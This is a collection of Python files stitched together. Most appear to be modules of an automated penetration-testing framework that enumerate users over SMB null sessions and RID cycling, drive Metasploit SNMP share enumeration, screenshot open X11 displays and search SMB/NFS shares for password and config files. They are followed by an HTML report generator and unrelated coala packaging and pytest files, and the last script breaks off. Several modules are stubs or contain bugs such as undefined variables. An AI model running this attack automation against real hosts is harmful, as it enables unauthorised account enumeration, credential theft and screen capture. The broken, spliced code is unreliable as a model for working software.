                outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)

                # run rpcclient
                command = "rpcclient -N -U \"\" -W " + workgroup + " " + t + " -c srvinfo"
                result = Utils.execWait(command, outfile)

                # check to see if it worked
                if any(x in result for x in ["NT_STATUS_LOGON_FAILURE", "NT_STATUS_ACCESS_DENIED"]):
                    # do nothing
                    self.display.verbose("Could not get NULL Session on %s" % t)
                else:
                    # fire a new trigger
                    self.fire("nullSession")
                    self.addVuln(t, "nullSession", {"type": "rpc", "output": outfile.replace("/", "%2F")})
                    self.display.error("VULN [NULLSession] Found on [%s]" % t)

                    # TODO - process rpcclient srvinfo results
                    # parse out put and store any new info and fire any additional triggers
        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb


class searchnfsshare(actionModule):
    def __init__(self, config, display, lock):
        super(searchnfsshare, self).__init__(config, display, lock)
        self.title = "Search files on NFS Shares"
        self.shortName = "searchFTP"
        self.description = "connect to remote NFS Share service and search for interesting files"

        self.requirements = ['disable']
        self.triggers = ["newServicenfs", "newPort2049"]

        self.safeLevel = 4

        self.filepatterns = ['.bat', '*.sh', '*passwd*', '*password*', '*Pass*', '*.conf', '*.cnf', '*.cfg', '*.config']

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get('host/*/tcpport/2049')
        self.targets2 = kb.get('service/nfs/host/')

    def searchTarget(self, host, port, username, password):
        success = False
        # TODO
        # attempt to connect to the remote host
        #        th ftputil.FTPHost(host, username, password) as host:
        #            success = True
        #            # get list of files and loop over them
        #            recursive = host.walk("/",topdown=True,onerror=None)
        #            for root,dirs,files in recursive:
        #                for name in files:
        #                    for pattern in self.filepatterns:
        #                        match_list = fnmatch.filter(files, pattern)
        #                        for fname in match_list:
        #                            fpath = host.path.join(root, fname)
        #                            if host.path.isfile(fpath):
        #                                host.download(fpath, self.config["proofsDir"] + ip + fpath.replace("/", "_"))
        #        host.close()

        return success

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            True
            # get list of nfs shares on remote target
            # loop over shares
            # mount share
            # search share
        return






try:
    import xml.etree.cElementTree as ET
except ImportError:
    import xml.etree.ElementTree as ET
from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mynmap import mynmap


class nmapsmbsigning(actionModule):
    def __init__(self, config, display, lock):
        super(nmapsmbsigning, self).__init__(config, display, lock)
        self.title = "NMap SMB-Signing Scan"
        self.shortName = "NmapSMBSigning"
        self.description = "execute [nmap -p445 --script=smb-security-mode] on each target"

        self.requirements = ["nmap"]
        self.triggers = ["newPort445"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get(['host/*/tcpport/139', 'host/*/tcpport/445'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                # run nmap
                n = mynmap(self.config, self.display)
                scan_results = n.run(target=t, flags="--script=smb-security-mode", ports="445", vector=self.vector,
                                     filetag=t + "_SMBSINGINGSCAN")['scan']
                tree = ET.parse(n.outfile + '.xml')
                root = tree.getroot()
                account_used = ""
                authentication_level = ""
                challenge_response = ""
                message_signing = ""
                for elem in root.iter("elem"):
                    if elem.attrib["key"] == "account_used":
                        account_used = elem.text
                    elif elem.attrib["key"] == "authentication_level":
                        authentication_level = elem.text
                    elif elem.attrib["key"] == "challenge_response":
                        challenge_response = elem.text
                    elif elem.attrib["key"] == "message_signing":
                        message_signing = elem.text
                if message_signing == "disabled":
                    self.addVuln(t, "SMBSigningDisabled", {"port": "445",
                                                            "output": n.outfile.replace("/", "%2F") + ".xml",
                                                            "Account Used": account_used,
                                                            "Authentication Level": authentication_level,
                                                            "Challenge Response": challenge_response,
                                                            "Message Signing": message_signing})
                    self.fire("SMBSigningDisabled")             

        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mynmap import mynmap
from core.utils import Utils


class nmapbasescan(actionModule):
    def __init__(self, config, display, lock):
        super(nmapbasescan, self).__init__(config, display, lock)
        self.title = "Standard NMap Scan"
        self.shortName = "NmapScan"
        self.description = "execute [nmap -sS] on each target"

        self.requirements = ["nmap", "disabled"]
        self.triggers = ["newIP"]

        self.safeLevel = 4

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get('host')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                temp_file = self.config["proofsDir"] + Utils.getRandStr(10)

                # run nmap
                n = mynmap(self.config, self.diaplay)
                scan_results = n.run(target=t, flags="-sS -A", vector=self.vector)['scan']

                # loop over scan results and do anything you need
                #     fire any new triggers that are needed
                #     self.fire("TEST123")
                for host in scan_results.keys():
                    # loop over each proto and process it
                    for proto in ['tcp', 'udp']:
                        if (proto in scan_results[host]):
                            # loop over each proto and process it
                            for port in scan_results[host][proto].keys():
                                # only worry about open ports
                                if (scan_results[host][proto][port]["state"] == "open"):
                                    # fire event for "newPortXXX"
                                    self.fire("newPort" + str(port))
                                    kb.add('host/' + host + '/' + proto + 'port', port)
                                    # process services and info
                                    s = scan_results[host][proto][port]
                                    # print "%s - %i/%s (%s) \"%s %s\" [%s]" % (host, port, proto, s['name'],
                                    # s['product'], s['version'], s['extrainfo'])
                                    if (s['name'] == 'http') or (s['name'] == 'https'):
                                        self.fire('web')
                                    # check for any scripts and loop over them
                                    if ('script' in scan_results[host][proto][port].keys()):
                                        for script in scan_results[host][proto][port]['script'].keys():
                                            a = 1
                                            # print "     %s - [[%s]]" % (script, scan_results[host][proto][port][
                                            # 'script'][script])
        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class openx11(actionModule):
    def __init__(self, config, display, lock):
        super(openx11, self).__init__(config, display, lock)
        self.triggers = ["newPort6000"]
        self.requirements = ["xwd", "convert"]
        self.title = "Attempt Login To Open X11 Servicei and Get Screenshot"
        self.shortName = "OpenX11"
        self.description = "execute [xwd -root -screen -silent -display <SYSTEM IP>:0 | convert - <SYSTEM IP>.png] on each target"
        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that have TCP 6000 open
        self.targets = kb.get('host/*/tcpport/6000')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # loop over each target
            for t in self.targets:
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)

                    command = "xwd -root -screen -silent -display " + t + ":0"
                    result = Utils.execWait(command)
                    if "unable to open display" not in result:
                        outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10) + ".png"
                        command = "xwd -root -screen -silent -display " + t + ":0 | convert - " + outfile
                        self.addVuln(t, "openX11",
                                {"port": "6000", "output": outfile.replace("/", "%2F")})

                        self.fire("x11Access")

        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_snmpenumshares(actionModule):
    def __init__(self, config, display, lock):
        super(msf_snmpenumshares, self).__init__(config, display, lock)
        self.triggers = ["snmpCred"]
        self.requirements = ["msfconsole"]
        self.title = "Enumerate SMB Shares via LanManager OID Values"
        self.shortName = "MSFSNMPEnumShares"
        self.description = "execute [auxiliary/scanner/snmp/snmp_enumshares] on each target"
        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that have UDP 161 open
        self.targets = kb.get('host/*/vuln/snmpCred')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    self.display.verbose(self.shortName + " - Connecting to " + t)
                    # Get list of working community strings for this host
                    comStrings = kb.get("host/" + t + "/vuln/snmpCred/communityString")
                    for comString in comStrings:
                        msf.execute("use auxiliary/scanner/snmp/snmp_enumshares\n")
                        msf.execute("set RHOSTS %s\n" % t)
                        msf.execute("set COMMUNITY %s\n" % comString)
                        msf.execute("run\n")
                        msf.sleep(int(self.config['msfexploitdelay']))
                        result = msf.getResult()
                        while (re.search(".*execution completed.*", result) is None):
                            result = result + msf.getResult()

                        outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                        Utils.writeFile(result, outfile)
                        kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

                        #  Don't need to parse out IP, we are running module one IP at a time
                        # Just find lines with  -  and pull out share name
                        parts = re.findall(".* - .*", result)
                        for part in parts:
                            sharename = (part.split('-')[0]).strip()
                            kb.add("host/" + t + "/share/smb/" + sharename)

            # clean up after ourselves
            result = msf.cleanup()

        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class userenumrpcclient(actionModule):
    def __init__(self, config, display, lock):
        super(userenumrpcclient, self).__init__(config, display, lock)
        self.title = "Get List of Users From SMB"
        self.shortName = "UserEnumRpcClient"
        self.description = "execute [rpcclient -U \"\" -N <IP> -c enumdomusers] on each target"

        self.requirements = ["rpcclient", "nmblookup"]
        self.triggers = ["nullSession"]

        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that had nullsessions
        self.targets = kb.get('host/*/vuln/nullSession')

    def chunk(self, l, n):
        for i in range(0, len(l), n):
            yield l[i:i + n]

    def sids2names(self, ip, sid, start, stop):
        rid_accounts = []
        ranges = ['%s-%s' % (sid, rid) for rid in range(start, stop)]
        chunk_size = 2500
        chunks = list(self.chunk(ranges, chunk_size))
        for c in chunks:
            command = 'rpcclient -U "" %s -N -c "lookupsids ' % ip
            command += ' '.join(c)
            command += '"'
            result = Utils.execWait(command, None)
            if "NT_STATUS_ACCESS_DENIED" in result:
                break
            for line in result.rstrip().split('\n'):
                if not "*unknown*" in line:
                    if line != "":
                        rid_account = line.split(" ", 1)[1]
                        if rid_account != "request" and '00000' not in rid_account and '(1)' in rid_account:
                            rid_account = rid_account.replace("(1)", "")
                            rid_account = rid_account.rstrip()
                            rid_accounts.append(rid_account)
        return rid_accounts

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)

                # get windows domain/workgroup
                temp_file2 = self.config["proofsDir"] + "nmblookup_" + t + "_" + Utils.getRandStr(10)
                command2 = "nmblookup -A " + t
                result2 = Utils.execWait(command2, temp_file2)
                workgroup = "WORKGROUP"
                for line in result2.split('\n'):
                    m = re.match(r'\s+(.*)\s+<00> - <GROUP>.*', line)
                    if (m):
                        workgroup = m.group(1).strip()
                        self.display.debug("found ip [%s] is on the workgroup/domain [%s]" % (t, workgroup))

                # add the current host to the domain in the KB
                kb.add('domain/' + workgroup + '/host/' + t)

                # make outfile
                temp_file = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)

                # run rpcclient
                command = "rpcclient -N -U \"\" " + t + " -c enumdomusers"
                result = Utils.execWait(command, temp_file)

                # check to see if it worked
                if any(x in result for x in ["NT_STATUS_LOGON_FAILURE", "NT_STATUS_ACCESS_DENIED"]):
                    rid_start = 500
                    rid_stop = 10000
                    sid = False
                    # pull the domain via lsaenum
                    result2 = Utils.execWait('rpcclient -U "" %s -N -c "lsaquery"' % t, None)
                    # if the user wasn't found, return a False
                    if "Domain Sid" in result2:
                        sid = result2
                    if sid:
                        sid = sid.replace("WARNING: Ignoring invalid value 'share' for parameter 'security'", "")
                        # format it properly
                        sid = sid.rstrip()
                        sid = sid.split(" ")
                        sid = sid[4]
                        # cycle through rid and enumerate the domain
                        sid_names = self.sids2names(t, sid, rid_start, rid_stop)
                        if sid_names:
                            for name in sid_names:
                                # fire a new trigger
                                self.fire("newUser")

                                m = re.match(r'(.*)\\(.*)', name)
                                if (m):
                                    self.display.debug("IP [%s] has local user [%s]" % (t, m.group(2)))
                                    kb.add('host/' + t + '/user/' + m.group(2))
                                    if (workgroup != "WORKGROUP"):
                                        self.display.debug("Domain [%s] has user [%s]" % (workgroup, m.group(2)))
                                        kb.add('domain/' + workgroup + '/user/' + m.group(2))
                else:

                    # loop over each returned user and add it to the KB
                    for line in result.split('\n'):
                        m = re.match(r'user:\[(.*)\] rid:\[(.*)\].*', line)
                        if (m):
                            # fire a new trigger
                            self.fire("newUser")

                            self.display.debug("IP [%s] has local user [%s]" % (t, m.group(1)))
                            kb.add('host/' + t + '/user/' + m.group(1))
                            if (workgroup != "WORKGROUP"):
                                self.display.debug("Domain [%s] has user [%s]" % (workgroup, m.group(1)))
                                kb.add('domain/' + workgroup + '/user/' + m.group(1))
        return






import fnmatch

try:
    from smb.SMBConnection import SMBConnection
except ImportError:
    raise ImportError('Missing pysmb library. To install run: pip install pysmb')

from core.actionModule import actionModule
from core.keystore import KeyStore as kb


class searchsmbshare(actionModule):
    def __init__(self, config, display, lock):
        super(searchsmbshare, self).__init__(config, display, lock)
        self.title = "Search files on SMB Shares"
        self.shortName = "searchFTP"
        self.description = "connect to remote NFS Share service and search for interesting files"

        # self.requirements = ['disable']
        self.requirements = []
        self.triggers = ["newServicensmb", "newPort445", "newPort139"]

        self.safeLevel = 4

        self.filepatterns = ['.bat', '*.sh', '*passwd*', '*password*', '*Pass*', '*.conf', '*.cnf', '*.cfg', '*.config']

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get(['host/*/tcpport/445', 'host/*/tcpport/139'])
        self.targets2 = kb.get('service/smb/host')

    def searchTarget(self, host, username, password, domainname):
        success = False

        try:
            self.display.debug('### Analyzing system: ' + system_name)
            # parameterize an smb connection with a system
            conn = SMBConnection(username,
                                 password,
                                 'enumerator',
                                 host,
                                 domainname,
                                 use_ntlm_v2=True,
                                 sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,
                                 is_direct_tcp=True)

            # establish the actual connection
            connected = conn.connect(system_name, 445)
            success = True

            try:
                Response = conn.listShares(timeout=30)  # obtain a list of shares
                self.display.debug('Shares on: ' + system_name)
                for i in range(len(Response)):  # iterate through the list of shares
                    self.display.debug("  Share[", i, "] =", Response[i].name)
                    try:
                        # list the files on each share (recursivity?)
                        Response2 = conn.listPath(Response[i].name, '/', timeout=30)
                        self.display.debug('    Files on: ' + system_name + '/' + "  Share[", i, "] =",
                                           Response[i].name)
                        for i in range(len(Response2)):
                            for pattern in self.filepatterns:
                                match_list = fnmatch.filter(Response2[i].filename, pattern)
                                for fname in match_list:
                                    # host.download(fpath, self.config["proofsDir"] + ip + fpath.replace("/", "_"))
                                    self.display.debug("    File[", i, "] =", Response2[i].filename)
                    except:
                        self.display.error('### can not access the resource')
            except:
                self.display.error('### can not list shares')
        except:
            self.display.error('### can not access the system')

        return success

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            True
        # get domain name for target
        # get username/password for the target
        # get list of smb shares on remote target
        # loop over shares
        # search share
        return












try:
    from yattag import Doc
except ImportError:
    raise ImportError('Missing Yattag, if you would like to enable report generation do: pip install yattag')
import datetime
from core.reportModule import reportModule
from core.keystore import KeyStore as kb
from core.utils import Utils

#  Overview of KB structure for reporting
#  1. host
#     1. IP
#         1. files (Files from tools run against this IP, not necessarily finding a vuln)
#             1. filepath 
#         2. tcpport
#             1. port number
#         3. udpport
#             1. port number
#         4. vuln
#             1. name
#                 1. message (Specific line in output confirming vuln)
#                 2. module (What module found this vuln)
#                 3. output (Files relating to this specific vuln)
#                    1. file path
#                 4. port (Port running the vulnerable service)
#                 5. vector (Path from nmap to module)
#                 6. etc... 
#                    1. (try not to go deeper than this so I don't need recursive searching)
#  2. service
#     1. service name
#         1. hosts
#  3. domain
#     1. domain name


class reportgen(reportModule):
    def __init__(self, config, display, lock):
        super(reportgen, self).__init__(config, display, lock)
        self.title = "Generate HTML Report"
        self.shortName = "reportGenHTML"
        self.description = "Gather scan information and generate HTML report"

        self.requirements = []

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get(['host'])

    def processTarget(self, t, port):
        # do nothing
        return

    def process(self):
        self.display.verbose(self.shortName + " - Writing report")
        doc, tag, text = Doc().tagtext()
        self.getTargets()
        # Calculate some numbers
        numhosts = len(self.targets)
        services = kb.get('service')
        numservices = 0
        numvulnerabilities = 0
        for s in services:
            # TODO: Could make this a dict and do counts by specific services/port
            numserv = len(kb.get('service/' + s + '/host'))
            numservices = numservices + numserv
        for t in self.targets:
            numvulnerabilities = numvulnerabilities + len(kb.get('host/' + t + '/vuln'))
        doc.asis('<!DOCTYPE html>')
        with tag('html'):
            with tag('head'):
                with tag('title'):
                    text('Generated Report')
                with tag('style'):
                    text("""div{ width: 100%; }
                        html { margin: 0; padding: 10px; background: #D3C6C6;}
                        body { font: 12px verdana, sans-serif;line-height: 1.88889; margin: 5%; background: #A08D7D; padding: 1%; width: 90%; }
                        p { margin-top: 5px; text-align: justify; }
                        h3 { font: italic normal 1.4em georgia, sans-serif; letter-spacing: 1px; margin-bottom: 0; padding-left: 2px; }
                        div.hostsection{ border-top: 3px solid #A07D7D; min-height: 30px; padding: 1%; background: #D3C6C6; width: 98%;}
                        div.hostsection h3{ font: bold; width: 100%;}
                        div.hostsection b{font: bold; width: 100%;}
                        div.report-title { width: 98%; background: #D3C6C6; border-bottom: 10px solid #A07D7D; padding: 1%; }
                        .sectiontitle{ font: bold; width: 50%; background: #A08D7D; box-shadow: 5px 5px 5px #A07D7D; padding-left: 2px;}
                        .toc{ border-bottom: 2px solid #A07D7D; padding: 1%; width: 98%; background: #AF9393; }
                        .toctable{}
                        .bodysection{ width: 98%; border-bottom: 2px solid #A07D7D; padding: 1%; background: #AF9393; }
                        .bodysectiontext{background: #D3C6C6;border-top: 2px solid #A07D7D;}
                        a.vulnname{ font: 16px verdana; }
                        div.vulndescription{ border-top: 2px solid #A07D7D; min-height: 30px; padding: 1%; background: #D3C6C6; width: 98%;}
                        .vulndescriptiontitle{ font: bold; width: 98%; float: left;}
                        .vulndescriptioncontents{}
                        a:link { font-weight: bold; text-decoration: none; color: #FFF; }
                        a:visited { font-weight: bold; text-decoration: none; }
                        a:hover, a:focus, a:active { text-decoration: underline; }""")
            with tag('body'):
                with tag('div', klass='report-title'):
                    with tag('h2'):
                        text("APT2 Report")
                    with tag('b'):
                        text("Generated {:%Y-%m-%d %H:%M:%S}".format(datetime.datetime.now()))
                with tag('div', klass='toc'):
                    with tag('h2', klass='sectiontitle'):
                        text('Table of Contents')
                    with tag('table', klass='toctable'):
                        with tag('tr'):
                            with tag('td'):
                                with tag('a', href='#Summary'):
                                    text('Summary')
                        with tag('tr'):
                            with tag('td'):
                                with tag('a', href='#Hosts'):
                                    text('Hosts')
                        with tag('tr'):
                            with tag('td'):
                                with tag('a', href='#Vulns'):
                                    text('Vulnerabilities and Findings')
                with tag('div', klass='bodysection'):
                    with tag('a', id='Summary'):
                        with tag('h2', klass='sectiontitle'):
                            text('Summary')
                    with tag('div', klass='bodysectiontext'):
                        text('This is a summary of everything')
                        with tag('ul'):
                            # NMAP Scan Arguments
                            # TODO: Update this to reflect an imported NMAP file, which doesn't modify these values
                            with tag('li'):
                                text('NMAP Scan')
                                with tag('ul'):
                                    with tag('li'):
                                        text('Scan Type: ' + self.config["scan_type"])
                                    with tag('li'):
                                        text('Scan Flags: ' + self.config["scan_flags"])
                                    with tag('li'):
                                        text('Port Range: ' + self.config["scan_port_range"])
                                    if self.config["scan_target"]:
                                        with tag('li'):
                                            text('Target: ' + self.config["scan_target"])
                                    elif self.config["scan_target_list"]:
                                        with tag('li'):
                                            text('Target: ' + self.config["scan_target_list"])
                            # Total Hosts Found
                            with tag('li'):
                                text('Hosts Found: ' + str(numhosts))
                            # Total Services Found
                            with tag('li'):
                                text('Services Found: ' + str(numservices))
                            # Total Vulnerabilities Found
                            with tag('li'):
                                text('Vulnerabilities Found: ' + str(numvulnerabilities))
                with tag('div', klass='bodysection'):
                    with tag('a', id='Hosts'):
                        with tag('h2', klass='sectiontitle'):
                            text('Hosts')
                    with tag('div', klass='bodysectiontext'):
                        text('This is a detailed breakdown of hosts')
                        # For each host
                        for t in self.targets:
                            with tag('div', klass='hostsection'):
                                with tag('h3'):
                                    # Output IP address - Known Hostname
                                    text(t)
                                # List Services
                                hostservices = kb.get('service/*/host/' + t)
                                if len(hostservices) > 0:
                                    with tag('b', klass='hostsection'):
                                        text('Services')
                                    with tag('ul'):
                                        for s in hostservices:
                                            tcpports = kb.get('service/' + s + '/host/' + t + '/tcpport')
                                            udpports = kb.get('service/' + s + '/host/' + t + '/udpport')
                                            ports = ""
                                            for p in tcpports:
                                                if (ports == ""):
                                                    ports = p + "/TCP"
                                                else:
                                                    ports = ports + ", " + p + "/TCP"
                                            for p in udpports:
                                                if (ports == ""):
                                                    ports = p + "/UDP"
                                                else:
                                                    ports = ports + ", " + p + "/UDP"
                                            with tag('li'):
                                                text(s + " - " + ports)
                                # List Domains
                                hostdomains = kb.get('domain/*/host/' + t)
                                if len(hostdomains) > 0:
                                    with tag('b', klass='hostsection'):
                                        text('Domains/Workgroups')
                                    with tag('ul'):
                                        for s in hostdomains:
                                            with tag('li'):
                                                text(s)
                                # List Users
                                hostusers = kb.get('host/' + t + '/user')
                                if len(hostusers) > 0:
                                    with tag('b', klass='hostsection'):
                                        text('Users')
                                    with tag('ul'):
                                        for s in hostusers:
                                            with tag('li'):
                                                text(s)
                                # List Shares
                                hostshares = kb.get('host/' + t + '/share')
                                if len(hostshares) > 0:
                                    with tag('b', klass='hostsection'):
                                        text('Shares')
                                    with tag('ul'):
                                        for s in hostshares:
                                            with tag('li'):
                                                text(s)
                                                with tag('ul'):
                                                    #SMB or NFS
                                                    sharenames = kb.get('host/' + t + '/share/' + s)
                                                    for sn in sharenames:
                                                        with tag('li'):
                                                            text(sn)
                                # Link to section in Vulnerabilities
                                hostvulns = kb.get('host/' + t + '/vuln')
                                if len(hostvulns) > 0:
                                    with tag('b', klass='hostsection'):
                                        text('Vulnerabilities')
                                    with tag('ul'):
                                        i = 0
                                        for s in hostvulns:
                                            with tag('li'):
                                                with tag('a', href='#vuln' + t.replace('.', '') + str(i)):
                                                    i += 1
                                                    text(s)
                                # List Files
                                hostfiles = kb.get('host/' + t + '/files')
                                if len(hostfiles) > 0:
                                    with tag('b', klass='hostsection'):
                                        text('Output Files')
                                    with tag('ul'):
                                        for s in hostfiles:
                                            files = kb.get('host/' + t + '/files/' + s)
                                            for f in files:
                                                with tag('li'):
                                                    url = "file://" + f.replace("%2F", "/")
                                                    with tag('a', href=url):
                                                        text(s)
                with tag('div', klass='bodysection'):
                    with tag('a', id='Vulns'):
                        with tag('h2', klass='sectiontitle'):
                            text('Vulnerabilities and Findings')
                    with tag('div', klass='bodysectiontext'):
                        text('This is a detailed breakdown of vulnerabilities and findings')
                        # For each Host that has listed vulnerabilties
                        for t in self.targets:
                            # For each Vulnerability
                            hostvulns = kb.get('host/' + t + '/vuln')
                            if len(hostvulns) > 0:
                                with tag('h3', klass='hostsection'):
                                    # Output IP address - Known Hostname
                                    text(t)
                                i = 0
                                for s in hostvulns:
                                    with tag('div', klass='vulndescription'):
                                        # Generate anchor tag to link from host section can be made
                                        with tag('a', klass='vulnname', id='vuln' + t.replace('.', '') + str(i)):
                                            i += 1
                                            # Title
                                            text(s)
                                            # Associated Service, Port, IP Address
                                        # If there is a path (NMAP -> FTP Found -> Anonymoous Login) Put it here
                                        vulnDetails = kb.get("host/" + t + "/vuln/" + s)
                                        for d in vulnDetails:
                                            # Iterate through each section under this vuln (module, vector, message,
                                            # port, etc.)
                                            if (d == "output"):
                                                outfile = kb.get("host/" + t + "/vuln/" + s + "/" + d)
                                                with tag('a', klass='vulndescriptiontitle', ):
                                                    text("Files:")
                                                with tag('ul'):
                                                    for f in outfile:
                                                        with tag('li'):
                                                            url = "file://" + f.replace("%2F", "/")
                                                            with tag('a', klass='vulndescriptioncontents', href=url):
                                                                text(f.replace("%2F", "/"))
                                            else:
                                                # TODO: Look into capitalizing first letter, maybe splitting at
                                                # capitals for cases like communityString
                                                with tag('p', klass='vulndescriptiontitle'):
                                                    text(d)
                                                detailContents = kb.get("host/" + t + "/vuln/" + s + "/" + d)
                                                with tag('ul'):
                                                    for c in detailContents:
                                                        with tag('li', klass='vulndescriptioncontents'):
                                                            text(c)
        # TODO: Put report in folder, copy CSS and maybe JS files (if we want to make the report fancy)
        outfile = self.config["reportDir"] + self.shortName + "_" + Utils.getRandStr(10) + ".html"
        Utils.writeFile(doc.getvalue(), outfile)
        self.display.alert("Report file located at %s" % outfile)

        return












from core.inputModule import inputModule
from core.mynmap import mynmap


class nmaploadxml(inputModule):
    def __init__(self, config, display, lock):
        super(nmaploadxml, self).__init__(config, display, lock)
        self.requirements = ["nmap"]
        self.title = "Load NMap XML File"
        self.description = "Load an NMap XML file"
        self.type = "nmap"

    def process(self, inputfile):
        n = mynmap(self.config, self.display)
        n.loadXMLFile(inputfile, "nmapFile")
        return






#!/usr/bin/env python3

# Start ignoring PyImportSortBear as imports below may yield syntax errors
from coalib import assert_supported_version, VERSION, get_version, BUS_NAME

assert_supported_version()
# Stop ignoring

import datetime
import locale
import sys
from os import getenv
from subprocess import call

import setuptools.command.build_py
from coalib.misc.BuildManPage import BuildManPage
from coalib.output.dbus.BuildDbusService import BuildDbusService
from setuptools import find_packages, setup
from setuptools.command.test import test as TestCommand

try:
    locale.getlocale()
except (ValueError, UnicodeError):
    locale.setlocale(locale.LC_ALL, 'en_US.UTF-8')


class BuildPyCommand(setuptools.command.build_py.build_py):

    def run(self):
        self.run_command('build_manpage')
        self.run_command('build_dbus')
        setuptools.command.build_py.build_py.run(self)


class PyTestCommand(TestCommand):

    def run_tests(self):
        # import here, cause outside the eggs aren't loaded
        import pytest
        errno = pytest.main([])
        sys.exit(errno)


class BuildDocsCommand(setuptools.command.build_py.build_py):
    apidoc_command = ('sphinx-apidoc', '-f', '-o', 'docs/API/',
                      'coalib')
    doc_command = ('make', '-C', 'docs', 'html')

    def run(self):
        call(self.apidoc_command)
        call(self.doc_command)


# Generate API documentation only if we are running on readthedocs.org
on_rtd = getenv('READTHEDOCS', None) != None
if on_rtd:
    call(BuildDocsCommand.apidoc_command)
    if "dev" in VERSION:
        current_version = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
        call(['python3', '.misc/adjust_version_number.py', 'coalib/VERSION',
              '-b {}'.format(current_version)])
        VERSION = get_version()

with open('requirements.txt') as requirements:
    required = requirements.read().splitlines()

with open('test-requirements.txt') as requirements:
    test_required = requirements.read().splitlines()

with open("README.rst") as readme:
    long_description = readme.read()


if __name__ == "__main__":
    data_files = [('.', ['coala.1']), ('.', [BUS_NAME + '.service'])]

    setup(name='coala',
          version=VERSION,
          description='Code Analysis Application (coala)',
          author="The coala developers",
          maintainer="Lasse Schuirmann, Fabian Neuschmidt, Mischa Kr\xfcger"
                      if not on_rtd else "L.S., F.N., M.K.",
          maintainer_email=('lasse.schuirmann@gmail.com, '
                            'fabian@neuschmidt.de, '
                            'makman@alice.de'),
          url='http://coala-analyzer.org/',
          platforms='any',
          packages=find_packages(exclude=["build.*", "tests", "tests.*"]),
          install_requires=required,
          tests_require=test_required,
          package_data={'coalib': ['default_coafile', "VERSION",
                                   'bearlib/languages/definitions/*.coalang',
                                   'bearlib/languages/documentation/*.coalang']
                        },
          license="AGPL-3.0",
          data_files=data_files,
          long_description=long_description,
          entry_points={
              "console_scripts": [
                  "coala = coalib.coala:main",
                  "coala-ci = coalib.coala_ci:main",
                  "coala-dbus = coalib.coala_dbus:main",
                  "coala-json = coalib.coala_json:main",
                  "coala-format = coalib.coala_format:main",
                  "coala-delete-orig = coalib.coala_delete_orig:main"]},
          # from http://pypi.python.org/pypi?%3Aaction=list_classifiers
          classifiers=[
              'Development Status :: 4 - Beta',

              'Environment :: Console',
              'Environment :: MacOS X',
              'Environment :: Win32 (MS Windows)',
              'Environment :: X11 Applications :: Gnome',

              'Intended Audience :: Science/Research',
              'Intended Audience :: Developers',

              'License :: OSI Approved :: GNU Affero General Public License '
              'v3 or later (AGPLv3+)',

              'Operating System :: OS Independent',

              'Programming Language :: Python :: Implementation :: CPython',
              'Programming Language :: Python :: 3.4',
              'Programming Language :: Python :: 3.5',
              'Programming Language :: Python :: 3 :: Only',

              'Topic :: Scientific/Engineering :: Information Analysis',
              'Topic :: Software Development :: Quality Assurance',
              'Topic :: Text Processing :: Linguistic'],
          cmdclass={'build_manpage': BuildManPage,
                    'build_dbus': BuildDbusService,
                    'build_py': BuildPyCommand,
                    'docs': BuildDocsCommand,
                    'test': PyTestCommand})






import os
import webbrowser


def pytest_unconfigure(config):
    htmlcov_path = os.path.join("htmlcov", "index.html")
    if (hasattr(config.option, "cov_report") and
            'html' in config.option.cov_report and
            os.path.isfile(htmlcov_path)):
        try:
            webbrowser.open_new_tab(htmlcov_path)
        except webbrowser.Error:
            pass






#!/usr/bin/env python3

# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License
# for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import argparse


def get_args():
